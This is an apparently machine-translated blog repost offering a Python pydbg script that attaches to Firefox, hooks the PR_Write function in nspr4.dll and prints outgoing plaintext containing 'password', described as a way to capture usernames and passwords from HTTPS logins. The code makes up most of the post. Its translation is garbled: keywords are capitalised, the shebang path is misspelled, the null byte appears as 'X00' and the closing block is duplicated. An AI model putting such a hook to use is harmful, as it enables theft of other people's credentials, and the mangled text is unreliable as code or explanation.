Compared with http, http is characterized by its security. The communication content of http can be captured by a common sniffer, but the content of https is the encrypted content, the value of our use is not very high, so some big websites-websites involving "rice" Use http protocol, there is still a way to see his username and password. Hey hey, this article is only used for technical learning. I just want to communicate with you about technology and do not want to do anything illegal, in this example, we log on to the https website in the firefox browser. when we open the program in advance, we will capture the user name and password:
The source code is as follows:
Copy codeThe Code is as follows :#! /Ur/bin/env python
From pydbg import *
From pydbg. defines import *
Import utils
Import sys
Dbg = pydbg ()
Found_firefox = False
Pattern = "password"
Def ssl_sniff (dbg, args ):
Buffer = ""
Offset = 0
While 1:
Byte = dbg. read_process_memory (args [1] + offset, 1)
If byte! = "X00 ":
Buffer + = byte
Offset + = 1
Continue
Else:
Break
If pattern in buffer:
Print "Pre-Encrypted: % s" % buffer
Return DBG_CONTINUE
# Search for the firefox.exe Process
For (pid, name) in dbg. enumerate_processes ():
If name. lower () = "firefox.exe ":
Found_firefox = True
Hooks = utils. hook_container ()
Dbg. attach (pid)
Print "[*] Attaching to firefox.exe with PID: % d" % pid
# Obtain the address of the firefox hook.
Hook_address = dbg. func_resolve_debuggee ("nspr4.dll", "PR_Write ")
If hook_address:
# Add the hook content, including its pid, address, and sniffing type
Hooks. add (dbg, hook_address, 2, ssl_sniff, None)
Print "[*] nspr4.PR _ Write hooked at: 0x % 08x" % hook_address
Break
Else:
Print "[*] Error: Couldn't resolve hook address ."
Sys. exit (-1)
If found_firefox:
Print "[*] Hooks set, continuing process ."
Dbg. run ()
Else:
Print "[*] Error: Couldn't find the firefox.exe process ."
Sys. exit (-1)
If found_firefox:
Print "[*] Hooks set, continuing process ."
Dbg. run ()
Else:
Print "[*] Error: Couldn't find the firefox.exe process ."
Sys. exit (-1)
From: http://world77.blog.51cto.com/414605/518679